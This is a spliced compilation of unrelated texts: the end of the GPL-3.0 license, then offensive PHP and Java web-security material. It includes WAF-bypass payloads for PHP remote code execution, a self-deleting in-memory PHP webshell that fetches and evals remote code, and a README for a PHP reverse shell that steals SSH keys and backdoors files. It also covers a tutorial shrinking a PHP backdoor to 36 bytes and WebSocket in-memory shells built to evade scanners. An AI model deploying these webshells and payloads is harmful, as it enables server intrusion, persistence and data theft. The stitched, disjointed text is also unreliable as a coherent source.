e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

This is the first of two vulnerable PHP scripts that Im going to use for all tests. This script is definitely too easy and dumb but its just to reproducing a remote code execution vulnerability scenario (probably in a real scenario, youll do a little bit more work to reach this situation):
![](https://miro.medium.com/proxy/1*8642MMLA0kKXigNugsntpA.png)
Obviously, the sixth line is pure evil. The third line tries to intercept functions like system, exec or passthru (therere many other functions in PHP that can execute system commands but lets focus on these three). This script is running in a web server behind the Cloudflare WAF (as always, Im using Cloudflare because its easy and widely known by the people, this doesnt mean that Cloudflare WAF is not secure. All other WAF have the same issues, more or less…). The second script will be behind ModSecurity + OWASP CRS3.
For the first test, I try to read /etc/passwd using system() function by the request /cfwaf.php?code=system(“cat /etc/passwd”);
![](https://miro.medium.com/proxy/1*Z7_QAFUWfTuGkkXC5iTIYQ.png)
As you can see, CloudFlare blocks my request (maybe because of the “/etc/passwd”) but, if you have read my last article about uninitialized variables, I can easily bypass it with something like cat /etc$u/passwd
![](https://miro.medium.com/proxy/1*XjThoSZZVxdHPsc7yvr3cA.png)
Cloudflare WAF has been bypassed but the check on the users input blocked my request because Im trying to use the “system” function. Is there a syntax that let me use the system function without using the “system” string? Lets take a look at the PHP [documentation about strings!](https://secure.php.net/manual/en/language.types.string.php)
PHP String escape sequences
* \\\[07\]{1,3} sequence of characters in octal notation, which silently overflows to fit in a byte (e.g. “\\400” === “\\000”)
* \\x\[09A-Fa-f\]{1,2} sequence of characters in hexadecimal notation (e.g. “\\x41”)
* \\u{\[09A-Fa-f\]+} sequence of Unicode codepoint, which will be output to the string as that codepoints UTF-8 representation (added in PHP 7.0.0)
Not everyone knows that PHP has a lot of syntaxes for representing a string, and with the “PHP Variable functions” it becomes our Swiss Army knife for bypassing filters and rules.
PHP supports the concept of variable functions. This means that if a variable name has parentheses appended to it, PHP will look for a function with the same name as whatever the variable evaluates to, and will attempt to execute it. Among other things, this can be used to implement callbacks, function tables, and so forth.
this means that syntaxes like $var(args); and “string”(args); are equal to function(args);. If I can call a function by using a variable or a string, it means that I can use an escape sequence instead of the name of a function. Here an example:
![](https://miro.medium.com/proxy/1*6tj_EG6wcNf1cZTx6mGcQw.jpeg)
the third syntax is an escape sequence of characters in a hexadecimal notation that PHP converts to the string “system” and then it converts to the function system with the argument “ls”. Lets try with our vulnerable script:
![](https://miro.medium.com/proxy/1*cyDR__qU4qIfwRbHq0Fsdg.png)
This technique doesnt work for all PHP functions, variable functions wont work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like. Utilize wrapper functions to make use of any of these constructs as variable functions.
What happens if I exclude characters like double and single quotes from the user input on the vulnerable script? Is it possible to bypass it even without using double quotes? Lets try:
![](https://miro.medium.com/proxy/1*xaTUZpVHH-CwqDLSvLC2LA.png)
as you can see on the third line, now the script prevents the use of “ and inside the $\_GET\[code\] query string parameter. My previous payload should be blocked now:
![](https://miro.medium.com/proxy/1*qNE1auDSwwnzBVwO174kXw.png)
Luckily, in PHP, we dont always need quotes to represent a string. PHP makes you able to declare the type of an element, something like $a = (string)foo; in this case, $a contains the string “foo”. Moreover, whatever is inside round brackets without a specific type declaration, is treated as a string:
![](https://miro.medium.com/proxy/1*GKGsbLzK70i4qo_eg8Irhg.jpeg)
In this case, weve two ways to bypass the new filter: the first one is to use something like (system)(ls); but we cant use “system” inside the code parameter, so we can concatenate strings like (sy.(st).em)(ls);. The second one is to use the $\_GET variable. If I send a request like ?a=system&b=ls&code=$\_GET\[a\]($\_GET\[b\]); the result is: $\_GET\[a\] will be replaced with the string “system” and $\_GET\[b\] will be replaced with the string “ls” and Ill able to bypass all filters!
![](https://miro.medium.com/proxy/1*NcvPl-CRHy2Cm5xUsbSFGw.jpeg)
Lets try with the first payload (sy.(st).em)(whoami);
![](https://miro.medium.com/proxy/1*DiaoAKPA5blRp3PCkCwf4w.png)
and the second payload ?a=system&b=cat+/etc&c=/passwd&code=$\_GET\[a\]($\_GET\[b\].$\_GET\[c\]);
![](https://miro.medium.com/proxy/1*8AiSFSkm98axKo_7YUJf9w.png)
In this case, is not useful, but you can even insert comments inside the function name and inside the arguments (this could be useful in order to bypass WAF Rule Set that blocks specific PHP function names). All following syntaxes are valid:
This PHP function returns a multidimensional array containing a list of all defined functions, both built-in (internal) and user-defined. The internal functions will be accessible via $arr\[“internal”\], and the user-defined ones using $arr\[“user”\]. For example:
![](https://miro.medium.com/proxy/1*WRxh720WAmWz-PdAEjUQ0Q.png)
This could be another way to reach the system function without using its name. If I grep for “system” I can discover its index number and use it as a string for my code execution:
![](https://miro.medium.com/proxy/1*GJpCkpPrYRtTfUNgd680hw.png)
obviously, this should work against our Cloudflare WAF and script filters:
![](https://miro.medium.com/proxy/1*eBOSkK_YZA5S5mLAlGwsmg.png)
Each string in PHP can be used as an array of characters (almost like Python does) and you can refer to a single string character with the syntax $string\[2\] or $string\[-3\]. This could be another way to elude rules that block PHP functions names. For example, with this string $a=”elmsty/ “; I can compose the syntax system(“ls /tmp”);
![](https://miro.medium.com/proxy/1*FhshSF88OXuviKoG1Sf-Gw.png)
If youre lucky you can find all the characters you need inside the script filename. With the same technique, you can pick all chars you need with something like
![](https://miro.medium.com/proxy/1*Pqo5eWcCrAzO_798EN-bpQ.png)
![](https://miro.medium.com/proxy/1*v_5x3PDduhRhkLjNZ7caCg.png)
Let me say that with the OWASP CRS3 all become harder. First, with the techniques seen before I can bypass only the first paranoia level, and this is amazing! Because Paranoia Level 1 is just a little subset of rules of what we can find in the CRS3, this level is designed to prevent any false positives. With a Paranoia Level 2 all things become hard because of the rule 942430 “Restricted SQL Character Anomaly Detection (args): # of special characters exceeded”. What I can do is just execute a single command without arguments like “ls”, “whoami”, etc.. but I cant execute something like system(“cat /etc/passwd”) as done with Cloudflare WAF:

# 内存驻留webshell
## 一、攻击原理
php webshell文件执行后删除自身。此webshell在执行后会自身删除驻留内存之中无文件残留。其原理主要利用以下方法
`ignore_user_abort(true); // 后台运行`
这个函数的作用是指示服务器端在远程客户端关闭连接后是否继续执行下面的脚本。如设置为True则表示如果用户停止脚本运行仍然不影响脚本的运行
`set_time_limit(0); // 取消脚本运行时间的超时上限`
括号里边的数字是执行时间,如果为零说明永久执行直到程序结束,如果为大于零的数字,则不管程序是否执行完成,到了设定的秒数,程序结束。
脚本也有可能被内置的脚本计时器中断。默认的超时限制为30秒。
这个值可以通过设置 `php.ini 的 max_execution_time``Apache .conf` 设置中对应的`“php_value max_execution_time”`参数或者 `set_time_limit()` 函数来更改。
php删除自身时借助的函数为
`unlink($_SERVER['SCRIPT_FILENAME']);`
unlink函数运行条件较为苛刻该脚本要具备可执行权限、可修改文件权限时方能执行。
简单的webshell脚本
``` php
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
echo "success";
$remote_file = 'http://10.211.55.2/111/test.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
echo "xunhuan";
sleep(5);
};
?>
```
test.txt中的代码如下
` file_put_contents('printTime.txt','jweny '.time());`
webshell执行后删除自身并在该目录生成 printTime.txt每五秒一次写入一次时间戳。
## 二、检测方案
通过获取php-fpm status
1. 检查所有php进程处理请求的持续时间
2. 检测执行文件是否在文件系统真实存在

# YAPS - **Y**et **A**nother **P**HP **S**hell
Yeah, I know, I know... But that's it. =)
As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (`nc -lp 1337`).
In the current version (1.3.1), its main functions support only linux systems, but i'm planning to make it work with Windows too.
It's currently in its first version and I haven't tested it much yet, and *there are still many things I intend to do and improve for the next versions (**it's not done yet!**)*, so please let me know if you've found any bugs. =)
## Features
* Single PHP file (no need to install packages, libs, or download tons of files)
* Works with netcat, ncat, socat, multi/handler, almost any listener
* Customizable password protection
* No logs in .bash_history
* Can do some enumeration
* Network info (interfaces, iptables rules, active ports)
* User info
* List SUID and GUID files
* Search for SSH keys (public and private)
* List crontab
* List writable PHP files
* Auto download LinPEAS, LinEnum or Linux Exploit Suggester
* Write and run PHP code on remote host
* (Semi) Stabilize shell
* Duplicate connections
* Auto update
* **[new] Infect PHP files with backdoors**
## Cons
* Connection isn't encrypted (yet) (nc does not support SSL)
* Not fully interactive (although you can spawn an interactive shell with `!stabilize`)
* CTRL+C breaks it; can't use arrows to navigate (unless you use `rlwrap nc -lp <ip> <port>`)
## Usage
1. Set up a TCP listener;
2. Set your IP and port. This can be done by:
* 2.1 Editing the variables at the start of the script;
* 2.2 Setting them via post request (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);
3. Open yaps.php on browser, curl it or run via CLI;
* 3.1 You can set `yaps.php?s` or `yaps.php?silent` to supress the banner
* 3.2 You can run via CLI with `php yaps.php ip port`
5. Hack!
## Working commands
* `!help - Display the help menu`
* `!all-colors - Toggle all colors (compatible with colorless TTY)`
* `!color - Toggle PS1 color (locally only, no environment variable is changed)`
* `!duplicate - Spawn another YAPS connection`
* `!enum - Download LinPEAS and LinEnum to /tmp and get them ready to use`
* `!info - list informations about the target (the enumeration I mentioned above)`
* `!infect - Infect writable PHP files with backdoors`
* `!stabilize - Spawn an interactive reverse shell on another port (works w/ sudo, su, mysql, etc.)`
* `!passwd - Password option (enable, disable, set, modify)`
* `!php - Write and run PHP on the remote host`
* `!suggester - Download Linux Exploit Suggester to /tmp and get it ready to use`

今天来看看如何精简一个 php 后门,基于 php 的特性,让 php 后门的字节最小化,首先编写一个一句话后门:
```php
<?php
$function = $_GET['function'];
$argument = $_GET['argument'];
$function($argument)
?>
```
使用方式function 参数是要执行的函数名,比如 exec、eval、system 等执行命令的函数argument 为函数的参数,根据不同的函数,使用的参数不同):
> http://example.com/shell.php?function=system&argument=pwd
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8oDA0LJdT31XSYxZpJiczg8UpyVRHrUWFXFmibbichc2DybyR7xdg6Cs3Q/640?wx_fmt=png)
目前该 webshell 的大小为 98 字节:
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8jf9U1R6J6UHu4pDmMkM1Yz3vLliaeH8zmDwqJO2a30KRemicViby9xAOw/640?wx_fmt=png)
我们看到 shell 中的变量名和参数名都比较长,直接可以缩减为一个字符,比如:
```php
<?php
$f = $_GET['f'];
$a = $_GET['a'];
$f($a)
?>
```
对于 PHP 来说,结束标签 `?>` 也可以不要,然后将变量名也缩减掉之后变成:
```php
<?php
$_GET['f']($_GET['a']);
```
当前脚本的大小已经缩减到了 34 个字符,测试下是否可用:
> http://example.com/shell.php?f=system&a=pwd
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8RP9mQbba1gyH47sx6QLs4mzHjIMZ2dXAZ67R9AYANWs41LsYu9CVibw/640?wx_fmt=png)
现在有个问题,没有设置密码,任何人都可以使用这个 shell现在需要增加一个访问密码
```php
<?php
if ($_GET['p']=='password'){
$_GET['f']($_GET['a']);
}
```
使用时在参数中增加 `p=password` 即可:
> http://example.com/shell3.php?f=system&a=pwd&p=password
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8av3mmVOyyDRNTZxX5icTSfJ381qLZsMlxFBYQXibJGF16ZXGcz55TEibw/640?wx_fmt=png)
增加了密码功能之后,后门大小变成了 64 字节,还能再进行缩减吗?
对于 php 而言,存在一种叫三元运算符的东西,比如正常写 `if else`:
> if ($movie == marvel){echo y} else{n}
使用三元运算符之后的写法:
> ($movie == marvel ? echo y : echo n)
应用到我们的 shell 中,变成了:
```php
<?php
($_GET['p']=='password')?$_GET['f']($_GET['a']):y);
```
然后密码可以设置短点,比如 `_`,然后将换行符等空白符尽可能去掉:
```php
<?php ($_GET['p']=='_'?$_GET['f']($_GET['a']):y);
```
当前字节数只剩下了 50 个,我们还可以利用 && 先执行密码验证后执行命令的方式,如果密码验证失败这该脚本执行结束,最后变为:
```php
<?php $_GET['p']=='_'&&$_GET['f']($_GET['a']);
```
现在这个 shell 字节已经缩减到 47 个php 还有一个特性 `<?php``<?=` 等价,又可用缩减两个字节:
```php
<?=$_GET['p']=='_'&&$_GET['f']($_GET['a']);
```
最后php 允许 `$_GET[f]` 这样的写法, 所以我们可以将 shell 中的单引号都去掉,又能减少 8 个字符:
```php
<?=$_GET[p]==_&&$_GET[f]($_GET[a]);
```
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8acbb9vicUUYGejRmCvhHBYIyATu6ttOVZeVYRrRYpXhauHxOCR6qDJg/640?wx_fmt=png)
缩减到最后的 shell 只有 36 个字符,测试下是否可以正常使用:
> http://example.com/shell7php?f=system&a=whoami&p=\_
![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8vNoKzO4hzePU4tkXBtXuH0EQITaBgTrbibEmXBCPsvrQOoxWgNp9iaPg/640?wx_fmt=png)
经过一系列的操作webshell 获得了极大的缩减,其中包含了多个 PHP 脚本的特性,这些特性对于后续的 webshel 免杀会有极大的帮助,极具学习的价值。

# **WebSocket 内存马,一种新型内存马技术**
### 0.兼容性测试
目前测试过 Tomcat Spring Jetty 都可以正常使用
WebLogic 比较特殊有条件,详情见 WebLogic 目录和文件内的注释
Jboss(WildFly) 未进行测试
### 1.前言
WebSocket是一种全双工通信协议即客户端可以向服务端发送请求服务端也可以主动向客户端推送数据。这样的特点使得它在一些实时性要求比较高的场景效果斐然比如微信朋友圈实时通知、在线协同编辑等。主流浏览器以及一些常见服务端通信框架Tomcat、netty、undertow、webLogic等都对WebSocket进行了技术支持。
### 2.版本
2013年以前还没出JSR356标准Tomcat就对Websocket做了支持自定义API再后来有了JSR356Tomcat立马紧跟潮流废弃自定义的API实现JSR356那一套这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。
JSR356 是java制定的websocket编程规范属于Java EE 7 的一部分所以要实现websocket内存马并不需要任何第三方依赖
### 3.服务端实现方式
#### 1注解方式
```
@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
```
Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
所以即使 Tomcat 没有扫描到 `@ServerEndpoint`注解的类也会进行Listener和 servlet注册这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter
![image-1](image/1.png)
#### 2继承抽象类Endpoint方式
继承抽象类 `Endpoint`方式比加注解 `@ServerEndpoint`方式更麻烦,主要是需要自己实现 `MessageHandler``ServerApplicationConfig``@ServerEndpoint`的话都是使用默认的,原理上差不多,只是注解更自动化,更简洁
可以用代码更方便的控制 ServerEndpointConfig 内的属性
```
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();

### 3.websocket内存马实现方法
之前提到过 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
那如果在服务启动后我们再 addEndpoint 加入websocket服务行不行呢答案是肯定的而且非常简单只需要三步。创建一个ServerEndpointConfig获取ws ServerContainer加入 ServerEndpointConfig即可
```
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);
```
### 4.效果
首先利用i.jsp注入一个websocket服务路径为/x注入后利用ws连接即可执行命令

且通过memshell scanner查询不到任何异常因为根本就没注册新的 Listener、servlet 或者 Filter
![image-3](image/3.png)
### 5.代理
WebSocket是一种全双工通信协议它可以用来做代理且速度和普通的TCP代理一样快这也是我研究websocket内存马的原因。
例如有一台不出网主机,有反序列化漏洞。
以前在这种场景下可能会考虑上reGeorg或者利用端口复用来搭建代理。
现在可以利用反序列化漏洞直接注入websocket代理内存马然后直接连上用上全双工通信协议的代理。
注入完内存马以后,使用 Gost[https://github.com/go-gost/gost](https://github.com/go-gost/gost) 连接代理
```
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
```
然后连接本地1080端口socks5即可使用代理
### 6.多功能shell实现
想要使用ws马首先得支持连接ws协议的工具目前市面的webshell管理工具都要从源码上修改才能支持ws协议
(内容更新 蚁剑v2.1.15已更新支持)
具体实现过程也并不复杂,相当于只是替换了协议,内容其实可以不变。例如给出的哥斯拉支持样例,基本逻辑并没发生改变,只是协议变了
还有一个问题是ws马必须先注入再连接并不能直接连接jsp马。
